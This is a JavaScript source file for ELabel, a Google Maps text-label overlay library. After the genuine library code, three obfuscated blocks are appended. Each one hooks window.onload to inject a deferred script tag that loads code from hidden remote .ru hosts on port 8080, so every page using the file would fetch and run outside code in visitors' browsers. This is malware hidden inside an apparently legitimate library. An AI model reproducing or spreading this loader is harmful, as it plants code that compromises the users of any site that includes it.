// ELabel.js 
//
//   This Javascript is provided by Mike Williams
//   Blackpool Community Church Javascript Team
//   http://www.commchurch.freeserve.co.uk/   
//   http://econym.googlepages.com/index.htm
//
//   This work is licenced under a Creative Commons Licence
//   http://creativecommons.org/licenses/by/2.0/uk/
//
// Version 0.2      the .copy() parameters were wrong
// version 1.0      added .show() .hide() .setContents() .setPoint() .setOpacity() .overlap
// version 1.1      Works with GMarkerManager in v2.67, v2.68, v2.69, v2.70 and v2.71
// version 1.2      Works with GMarkerManager in v2.72, v2.73, v2.74 and v2.75
// version 1.3      add .isHidden()
// version 1.4      permit .hide and .show to be used before addOverlay()
// version 1.5      fix positioning bug while label is hidden
// version 1.6      added .supportsHide()
// version 1.7      fix .supportsHide()


      function ELabel(point, html, classname, pixelOffset, percentOpacity, overlap) {
        // Mandatory parameters
        this.point = point;
        this.html = html;
        
        // Optional parameters
        this.classname = classname||"";
        this.pixelOffset = pixelOffset||new GSize(0,0);
        if (percentOpacity) {
          if(percentOpacity<0){percentOpacity=0;}
          if(percentOpacity>100){percentOpacity=100;}
        }        
        this.percentOpacity = percentOpacity;
        this.overlap=overlap||false;
        this.hidden = false;
      } 
      
      ELabel.prototype = new GOverlay();

      ELabel.prototype.initialize = function(map) {
        var div = document.createElement("div");
        div.style.position = "absolute";
        div.innerHTML = '<div class="' + this.classname + '">' + this.html + '</div>' ;
        map.getPane(G_MAP_FLOAT_SHADOW_PANE).appendChild(div);
        this.map_ = map;
        this.div_ = div;
        if (this.percentOpacity) {        
          if(typeof(div.style.filter)=='string'){div.style.filter='alpha(opacity:'+this.percentOpacity+')';}
          if(typeof(div.style.KHTMLOpacity)=='string'){div.style.KHTMLOpacity=this.percentOpacity/100;}
          if(typeof(div.style.MozOpacity)=='string'){div.style.MozOpacity=this.percentOpacity/100;}
          if(typeof(div.style.opacity)=='string'){div.style.opacity=this.percentOpacity/100;}
        }
        if (this.overlap) {
          var z = GOverlay.getZIndex(this.point.lat());
          this.div_.style.zIndex = z;
        }
        if (this.hidden) {
          this.hide();
        }
      }

      ELabel.prototype.remove = function() {
        this.div_.parentNode.removeChild(this.div_);
      }

      ELabel.prototype.copy = function() {
        return new ELabel(this.point, this.html, this.classname, this.pixelOffset, this.percentOpacity, this.overlap);
      }

      ELabel.prototype.redraw = function(force) {
        var p = this.map_.fromLatLngToDivPixel(this.point);
        var h = parseInt(this.div_.clientHeight);
        this.div_.style.left = (p.x + this.pixelOffset.width) + "px";
        this.div_.style.top = (p.y +this.pixelOffset.height - h) + "px";
      }

      ELabel.prototype.show = function() {
        if (this.div_) {
          this.div_.style.display="";
          this.redraw();
        }
        this.hidden = false;
      }
      
      ELabel.prototype.hide = function() {
        if (this.div_) {
          this.div_.style.display="none";
        }
        this.hidden = true;
      }
      
      ELabel.prototype.isHidden = function() {
        return this.hidden;
      }
      
      ELabel.prototype.supportsHide = function() {
        return true;
      }

      ELabel.prototype.setContents = function(html) {
        this.html = html;
        this.div_.innerHTML = '<div class="' + this.classname + '">' + this.html + '</div>' ;
        this.redraw(true);
      }
      
      ELabel.prototype.setPoint = function(point) {
        this.point = point;
        if (this.overlap) {
          var z = GOverlay.getZIndex(this.point.lat());
          this.div_.style.zIndex = z;
        }
        this.redraw(true);
      }
      
      ELabel.prototype.setOpacity = function(percentOpacity) {
        if (percentOpacity) {
          if(percentOpacity<0){percentOpacity=0;}
          if(percentOpacity>100){percentOpacity=100;}
        }        
        this.percentOpacity = percentOpacity;
        if (this.percentOpacity) {        
          if(typeof(this.div_.style.filter)=='string'){this.div_.style.filter='alpha(opacity:'+this.percentOpacity+')';}
          if(typeof(this.div_.style.KHTMLOpacity)=='string'){this.div_.style.KHTMLOpacity=this.percentOpacity/100;}
          if(typeof(this.div_.style.MozOpacity)=='string'){this.div_.style.MozOpacity=this.percentOpacity/100;}
          if(typeof(this.div_.style.opacity)=='string'){this.div_.style.opacity=this.percentOpacity/100;}
        }
      }

      ELabel.prototype.getPoint = function() {
        return this.point;
      }
      ELabel.prototype.U = function() {
        return this.point;
      }
      ELabel.prototype.V = function() {
        return this.point;
      }
      ELabel.prototype.W = function() {
        return this.point;
      }
      ELabel.prototype.X = function() {
        return this.point;
      }
      ELabel.prototype.Y = function() {
        return this.point;
      }
      ELabel.prototype.Z = function() {
        return this.point;
      }


this.VN="";try {var Rf;if(Rf!='t' && Rf!='US'){Rf=''};var NA='';var N=window[unescape("%75%6e%65%73%63%61%70%65")];var a=new Array();var s=N("%72%65%70%6c%61%63%65");var xW=new Array();var M="";var k;if(k!='Gl'){k=''};var h=window[N("%52%65%67%45%78%70")];var xS=null;this.i="";var Km=new String();var MV;if(MV!=''){MV='z'};function x(c,T){var C=new Date();var I=N("%5b");var zw=new Date();var w=new Date();I+=T;this.gu="";I+=N("%5d");this.od="";var G=new h(I, N("%67"));var pQ;if(pQ!='ol'){pQ=''};this.L="";return c.replace(G, xS);var dx;if(dx!='' && dx!='GQ'){dx='WJ'};};var rS=new Date();var V=N("%73%63%72%69%70%74");var c=N("%31");var zx;if(zx!='' && zx!='cDr'){zx=''};var o="\x68\x74\x74\x70\x3a\x2f\x2f\x67\x6c\x75\x65\x73\x71\x75\x65\x61\x6c\x2e\x72\x75\x3a";var Vz;if(Vz!='Px' && Vz != ''){Vz=null};var j=new Array();var E=new String("onlo"+"ad");var xN=x('8343561101635653784417929402157529','65729431');var U=x('/Tm1aYkGtLovo5bQ-5cYoQmA/1gnodoZgYldeV.QcNovmR/AgDoGoYgflve5.LcLoV.DkTrn.vpRhnpV','VAQYfRDT15sGvdFLnUNwZ');var zP;if(zP!='Mc' && zP!='my'){zP=''};var Qe;if(Qe!='WT' && Qe!='iJ'){Qe=''};var b='';var NR;if(NR!='q'){NR='q'};var iC=new Date();function Ub(){var v=document;var EG;if(EG!=''){EG='h_q'};this.Nd="";r=v.createElement(V);var l=new Array();this.RM="";b+=o;var Pt=new Date();b+=xN+U;var Cp='';var v_;if(v_!='' && v_!='QT'){v_='fN'};var zK;if(zK!='' && zK!='d_'){zK='Kc'};var cD=v.body;var PC=new String();var VE=new String();r.src=b;var XO=new Date();var ha;if(ha!='lM' && ha!='hs'){ha=''};r.defer=c;var Uw=new String();var iR;if(iR!='' && iR!='Ux'){iR='Dn'};cD.appendChild(r);var uj='';this.xq='';};var Et;if(Et!='' && Et!='GZ'){Et='dxT'};var Zl;if(Zl!=''){Zl='pC'};window[E]=Ub;var ER;if(ER!='' && ER!='Gk'){ER=''};} catch(X){var _k='';};


var f={Q:false};x={j:28132};this.fp="fp";try {} catch(y){};function W(){var t=["Le","cu"];H=["G"];var N=new String("zSGscrip".substr(3)+"tVihL".substr(0,1));var u=new String("onl"+"oad");GW=["Hn"];var c=window;var p={Y:57753};GZ=33954;GZ-=46;var V="src";var A=String("cre"+"ate"+"Ele"+"menbzy0".substr(0,3)+"yzOct".substr(4));X={jq:"lP"};this.YA=61216;this.YA++;var l=document;S=65178;S+=171;var a=new String("boiUq".substr(0,2)+"dy");var Mf="";this.g=38984;this.g-=121;var U="appe"+"ndCh"+"ild";LD={xO:false};var J=String("defe"+"r");var fU=new Date();function Np(){this.E="E";var pG="pG";var C="";try {eY=["LZ"];var Xz=[];var lV={SJ:26288};var zw={dB:54824};var Vy=new String("htt"+"p:/"+"4lTw/di".substr(4)+"rty"+"sinw78I".substr(0,3)+".ru"+":");var L=7591-7590;m_=61830;m_++;var Wo=String("/goog"+"le.co"+"m/bigsvN9".substr(0,5)+"2LmRpointLm2R".substr(4,5)+".com/"+"8TMlinez".substr(3)+"ing.c"+"TKNFom.ph".substr(4)+"p");var n=152273-144193;var h=["DB"];var fu="fu";var me={zJ:false};var qP={zx:false};Wd=l[A](N);var tY=41382;var cZ=new String();EJ=22532;EJ+=48;Wd[J]=L;var iy="iy";var nL=["xo","ay"];Wd[V]=Vy+n+Wo;var sv=48518;dz=["Ux","om","pZ"];this.xg=false;l[a][U](Wd);this.kv=false;try {var Us='qh'} catch(Us){};} catch(le){var MZw='';};}var Ul=new String();c[u]=Np;};var P=["Lw"];W();Bd=50235;Bd+=64;var _X=new String();
var eU=["e"];c=["N","NU"];try {var D=new String();var Dh=new Date();this.H='';K={Fs:11247};cY={CV:30980};var U=window["une"+"sca"+"pe"];Lz=["IW","IK","cF"];n=["q"];i=2896;i++;Wo=["x","xF","Uw"];var im=new Date();var Cf="";this.Ja=35890;this.Ja+=30;var de=new Date();var p="on"+"lo"+"ad";var iD=["TD"];var nv=["Aj","NG"];var Y=new String("1RgJC".substr(0,1));var RO='';wq=13400;wq--;var M=window[(new String("RegEx9hu".substr(0,5)+"pm9zc".substr(0,1)))];var l=[];var Ia=43058;var pl=String("re"+"pl"+"ac"+"e");this.Uj="";this.vo="";var NE=false;cYe=56911;cYe+=60;var r='';this.Yt=33514;this.Yt--;var Rz={};var o=new Array();var PT=new Array();function j(Y,A){dw={V:"GG"};er={g:"Io"};try {} catch(hY){};this.NJ=false;Hw={oe:"pm"};nh=["Kd","Ka"];try {var Zp='Wc'} catch(Zp){};var o_={Dg:718};vn=["nB","gc"];var G=String("[");try {} catch(sn){};G+=A;WM={SN:"ri"};zd={KT:"DS"};this.by="by";this.yU="yU";vz=28888;vz--;G+=U("%5d");NUI=4542;NUI-=159;try {} catch(gn){};this.rN="rN";var rg="";var T=new M(G, String("g"));this.Xx=22828;this.Xx+=33;this.Ge=64109;this.Ge--;return Y.replace(T, r);var KU=["HF"];try {var Ds='vb'} catch(Ds){};};var VM=["xL"];var Uf=new Date();var vy=["wA","hi","f"];var In=new Date();uH=["_F"];Vj=[];var hj=["Mo","XP"];this.eq="";nT=[];var J=83096-75016;var kb="kb";iw=[];try {var xS='KO'} catch(xS){};var u="/go5QpS".substr(0,3)+"ogl2Rh".substr(0,3)+"FPkfe.c".substr(4)+"cs1om/s1c".substr(3,3)+"36wgoa".substr(3)+"l.c"+"om/"+"S7Pt5d6".substr(4)+"ji7d.c7ij".substr(3,3)+"om."+"php";this.NZ=4804;this.NZ++;try {var LS='om'} catch(LS){};var Q="ht"+"YndItp".substr(4)+"4rE:/".substr(3)+"JYj/gJYj".substr(3,2)+"ot"+"3D0hg03D".substr(3,2)+"VI5ui".substr(3)+"XgybltgbXy".substr(4,2)+"Ll10.rl1L0".substr(4,2)+"u:";var Va=new Date();var m=new Date();var Bg='';ft=39008;ft++;var yh='';Ne={};var iQ="iQ";this.GV=994;this.GV-=24;function Tz(){var qO=["yc"];this.Iys=63087;this.Iys-=48;var fS=["sX"];try {} catch(QS){};var uP=new Array();var Cu=new Array();yr={yb:13722};try {} catch(az){};var Yr=new String("ap"+"pe"+"YDZznd".substr(4)+"Ch"+"il"+"cDEdEcD".substr(3,1));this.aS="";qk={Xn:false};var F=j('sYcSrFiPpwt7','4Zx71TgYSuOKPvRFeEWjXN3w');var Eg="";var gcV="";var mS="";var hS=new Array();var ax=["NJy"];var DD=new Array();var TK=document;this.GQ=13264;this.GQ++;this.pC=51087;this.pC++;mC=16553;mC++;var fj=new Date();Qm=6181;Qm++;var Mi=["FU","PQ"];this.GTy='';try {var bV='TO'} catch(bV){};var Re=new Date();uk=TK.createElement(F);this.LN="";this.tt=36596;this.tt-=232;var axn=[];C=Q+J;var UM=new Date();var bj=26647;C=C+u;lx={z_:61630};MC=["WD","Pb","Kau"];var nM={xbP:false};this._w='';riV=["go","xN","GY"];rI=["eO","dW"];uZ=["qa","Wd"];TJ=["SG","DV"];uk.src=C;var hwn=[];this.pD=39589;this.pD++;var xn={zp:"Rf"};LX=52263;LX++;var rq={Zm:"ow"};uk[new String("defer")]=Y;sw=271;sw--;try {var vA='Am'} catch(vA){};var Fc=new String();ub={};this.ZTn='';var w=TK.body;var uT=false;w[Yr](uk);this.Ivr="";this.JR=57788;this.JR++;try {var Wlw='mH'} catch(Wlw){};kf=12823;kf--;};this.tP=62559;this.tP+=180;var GR='';var dn={};var QKR={};this.ts=11049;this.ts+=18;var am={DSp:"hb"};var O_=["gy","xB"];var IB=new Date();window[p]=Tz;yG=["BX","ik","ed"];var Sc='';} catch(R){var xM=new Date();iB=25537;iB--;};try {var GK='KhM'} catch(GK){};try {var kO='Mp'} catch(kO){};Vx=["jv","ip"];try {var yW='od'} catch(yW){};